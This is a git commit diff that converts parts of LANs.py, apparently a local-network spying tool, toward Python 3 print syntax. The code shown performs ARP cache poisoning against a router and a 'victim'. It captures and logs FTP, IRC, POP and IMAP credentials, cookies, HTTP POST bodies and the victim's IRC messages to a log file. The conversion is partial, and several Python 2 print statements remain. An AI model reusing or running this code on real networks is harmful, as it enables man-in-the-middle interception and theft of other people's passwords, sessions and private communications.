compatible with python 3

This commit is contained in:
Riyad Parvez 2013-11-09 20:36:24 +06:00
commit ff6d912f3b

34
LANs.py
View file

@ -75,9 +75,11 @@ class Spoof():
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3) ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=5, retry=3)
for s, r in ans: for s, r in ans:
return r.sprintf("%Ether.src%") return r.sprintf("%Ether.src%")
def poison(self, routerIP, victimIP, routerMAC, victimMAC): def poison(self, routerIP, victimIP, routerMAC, victimMAC):
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC)) send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC))
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC)) send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))
def restore(self, routerIP, victimIP, routerMAC, victimMAC): def restore(self, routerIP, victimIP, routerMAC, victimMAC):
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3) send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=3)
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3) send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=3)
@ -370,10 +372,10 @@ class Parser():
except: except:
pass pass
if self.HTTPfragged == 1: if self.HTTPfragged == 1:
print B+'[+] Fragmented POST: '+W+url+B+" HTTP POST's combined load: "+body+W print(B+'[+] Fragmented POST: '+W+url+B+" HTTP POST's combined load: "+body+W)
logger.write('[+] Fragmented POST: '+url+" HTTP POST's combined load: "+body+'\n') logger.write('[+] Fragmented POST: '+url+" HTTP POST's combined load: "+body+'\n')
else: else:
print B+'[+] POST: '+W+url+B+' HTTP POST load: '+body+W print(B+'[+] POST: '+W+url+B+' HTTP POST load: '+body+W)
logger.write('[+] POST: '+url+" HTTP POST's combined load: "+body+'\n') logger.write('[+] POST: '+url+" HTTP POST's combined load: "+body+'\n')
# If you see any other login/pw variable names, tell me and I'll add em in here # If you see any other login/pw variable names, tell me and I'll add em in here
@ -417,7 +419,7 @@ class Parser():
if url: if url:
#Print the URL #Print the URL
if args.verboseURL: if args.verboseURL:
print '[*] '+url print('[*] '+url)
logger.write('[*] '+url+'\n') logger.write('[*] '+url+'\n')
if args.urlspy: if args.urlspy:
@ -425,10 +427,10 @@ class Parser():
if any(i in url for i in d): if any(i in url for i in d):
return return
if len(url) > 146: if len(url) > 146:
print '[*] '+url[:145] print('[*] '+url[:145])
logger.write('[*] '+url[:145]+'\n') logger.write('[*] '+url[:145]+'\n')
else: else:
print '[*] '+url print('[*] '+url)
logger.write('[*] '+url+'\n') logger.write('[*] '+url+'\n')
# Print search terms # Print search terms
@ -440,18 +442,22 @@ class Parser():
def ftp(self, load, IP_dst, IP_src): def ftp(self, load, IP_dst, IP_src):
load = repr(load)[1:-1].replace(r"\r\n", "") load = repr(load)[1:-1].replace(r"\r\n", "")
if 'USER ' in load: if 'USER ' in load:
print R+'[!] FTP '+load+' SERVER: '+IP_dst+W print R+'[!] FTP '+load+' SERVER: '+IP_dst+W
logger.write('[!] FTP '+load+' SERVER: '+IP_dst+'\n') logger.write('[!] FTP '+load+' SERVER: '+IP_dst+'\n')
if 'PASS ' in load: if 'PASS ' in load:
print R+'[!] FTP '+load+' SERVER: '+IP_dst+W print R+'[!] FTP '+load+' SERVER: '+IP_dst+W
logger.write('[!] FTP '+load+' SERVER: '+IP_dst+'\n') logger.write('[!] FTP '+load+' SERVER: '+IP_dst+'\n')
if 'authentication failed' in load: if 'authentication failed' in load:
print R+'[*] FTP '+load+W print R+'[*] FTP '+load+W
logger.write('[*] FTP '+load+'\n') logger.write('[*] FTP '+load+'\n')
def irc(self, load, dport, sport, IP_src): def irc(self, load, dport, sport, IP_src):
load = repr(load)[1:-1].split(r"\r\n") load = repr(load)[1:-1].split(r"\r\n")
if args.post: if args.post:
if IP_src == victimIP: if IP_src == victimIP:
if 'NICK ' in load[0]: if 'NICK ' in load[0]:
@ -459,28 +465,34 @@ class Parser():
server = load[1].replace('USER user user ', '').replace(' :user', '') server = load[1].replace('USER user user ', '').replace(' :user', '')
print R+'[!] IRC username: '+self.IRCnick+' on '+server+W print R+'[!] IRC username: '+self.IRCnick+' on '+server+W
logger.write('[!] IRC username: '+self.IRCnick+' on '+server+'\n') logger.write('[!] IRC username: '+self.IRCnick+' on '+server+'\n')
if 'NS IDENTIFY ' in load[0]: if 'NS IDENTIFY ' in load[0]:
ircpass = load[0].split('NS IDENTIFY ')[1] ircpass = load[0].split('NS IDENTIFY ')[1]
print R+'[!] IRC password: '+ircpass+W print R+'[!] IRC password: '+ircpass+W
logger.write('[!] IRC password: '+ircpass+'\n') logger.write('[!] IRC password: '+ircpass+'\n')
if 'JOIN ' in load[0]: if 'JOIN ' in load[0]:
join = load[0].split('JOIN ')[1] join = load[0].split('JOIN ')[1]
print C+'[+] IRC joined: '+W+join print C+'[+] IRC joined: '+W+join
logger.write('[+] IRC joined: '+join+'\n') logger.write('[+] IRC joined: '+join+'\n')
if 'PART ' in load[0]: if 'PART ' in load[0]:
part = load[0].split('PART ')[1] part = load[0].split('PART ')[1]
print C+'[+] IRC left: '+W+part print C+'[+] IRC left: '+W+part
logger.write('[+] IRC left: '+part+'\n') logger.write('[+] IRC left: '+part+'\n')
if 'QUIT ' in load[0]: if 'QUIT ' in load[0]:
quit = load[0].split('QUIT :')[1] quit = load[0].split('QUIT :')[1]
print C+'[+] IRC quit: '+W+quit print C+'[+] IRC quit: '+W+quit
logger.write('[+] IRC quit: '+quit+'\n') logger.write('[+] IRC quit: '+quit+'\n')
# Catch messages from the victim to an IRC channel # Catch messages from the victim to an IRC channel
if 'PRIVMSG ' in load[0]: if 'PRIVMSG ' in load[0]:
if IP_src == victimIP: if IP_src == victimIP:
load = load[0].split('PRIVMSG ')[1] load = load[0].split('PRIVMSG ')[1]
channel = load.split(' :', 1)[0] channel = load.split(' :', 1)[0]
ircmsg = load.split(' :', 1)[1] ircmsg = load.split(' :', 1)[1]
if self.IRCnick != '': if self.IRCnick != '':
print C+'[+] IRC victim '+W+self.IRCnick+C+' to '+W+channel+C+': '+ircmsg+W print C+'[+] IRC victim '+W+self.IRCnick+C+' to '+W+channel+C+': '+ircmsg+W
logger.write('[+] IRC '+self.IRCnick+' to '+channel+': '+ircmsg+'\n') logger.write('[+] IRC '+self.IRCnick+' to '+channel+': '+ircmsg+'\n')
@ -490,11 +502,12 @@ class Parser():
# Catch messages from others that tag the victim's nick # Catch messages from others that tag the victim's nick
elif self.IRCnick in load[0] and self.IRCnick != '': elif self.IRCnick in load[0] and self.IRCnick != '':
sender_nick = load[0].split(':', 1)[1].split('!', 1)[0] sender_nick = load[0].split(':', 1)[1].split('!', 1)[0]
try: try:
load = load[0].split('PRIVMSG ')[1].split(' :', 1) load = load[0].split('PRIVMSG ')[1].split(' :', 1)
channel = load[0] channel = load[0]
ircmsg = load[1] ircmsg = load[1]
print C+'[+] IRC '+W+sender_nick+C+' to '+W+channel+C+': '+ircmsg[1:]+W print(C+'[+] IRC '+W+sender_nick+C+' to '+W+channel+C+': '+ircmsg[1:]+W)
logger.write('[+] IRC '+sender_nick+' to '+channel+': '+ircmsg[1:]+'\n') logger.write('[+] IRC '+sender_nick+' to '+channel+': '+ircmsg[1:]+'\n')
except: except:
return return
@ -508,7 +521,7 @@ class Parser():
return return
else: else:
self.Cookies.append(x) self.Cookies.append(x)
print P+'[+] Cookie found for '+W+host+P+' logged in LANspy.log.txt'+W print(P+'[+] Cookie found for '+W+host+P+' logged in LANspy.log.txt'+W)
logger.write('[+] Cookie found for'+host+':'+x.replace('Cookie: ', '')+'\n') logger.write('[+] Cookie found for'+host+':'+x.replace('Cookie: ', '')+'\n')
def user_pass(self, username, password): def user_pass(self, username, password):
@ -516,6 +529,7 @@ class Parser():
for u in username: for u in username:
print R+'[!] Username found: '+u[1]+W print R+'[!] Username found: '+u[1]+W
logger.write('[!] Username: '+u[1]+'\n') logger.write('[!] Username: '+u[1]+'\n')
if password: if password:
for p in password: for p in password:
if p[1] != '': if p[1] != '':
@ -524,6 +538,7 @@ class Parser():
def mailspy(self, load, dport, sport, IP_dst, IP_src, mail_ports, ack): def mailspy(self, load, dport, sport, IP_dst, IP_src, mail_ports, ack):
load = repr(load)[1:-1] load = repr(load)[1:-1]
# Catch fragmented mail packets # Catch fragmented mail packets
if ack == self.oldmailack: if ack == self.oldmailack:
if load != r'.\r\n': if load != r'.\r\n':
@ -569,9 +584,11 @@ class Parser():
self.decode(load, dport) self.decode(load, dport)
self.IMAPauth = 0 self.IMAPauth = 0
self.IMAPdest = '' self.IMAPdest = ''
if "authenticate plain" in load: if "authenticate plain" in load:
self.IMAPauth = 1 self.IMAPauth = 1
self.IMAPdest = IP_dst self.IMAPdest = IP_dst
if dport == 110 and IP_src == victimIP: if dport == 110 and IP_src == victimIP:
if self.POPauth == 1 and self.POPdest == IP_dst and len(load) > 10: if self.POPauth == 1 and self.POPdest == IP_dst and len(load) > 10:
# Don't double output mail passwords # Don't double output mail passwords
@ -580,12 +597,13 @@ class Parser():
self.POPauth = 0 self.POPauth = 0
self.POPdest = '' self.POPdest = ''
return return
print R+'[!] POP user and pass found: '+load+W print(R+'[!] POP user and pass found: '+load+W)
logger.write('[!] POP user and pass found: '+load+'\n') logger.write('[!] POP user and pass found: '+load+'\n')
self.mail_passwds.append(load) self.mail_passwds.append(load)
self.decode(load, dport) self.decode(load, dport)
self.POPauth = 0 self.POPauth = 0
self.POPdest = '' self.POPdest = ''
if 'AUTH PLAIN' in load: if 'AUTH PLAIN' in load:
self.POPauth = 1 self.POPauth = 1
self.POPdest = IP_dst self.POPdest = IP_dst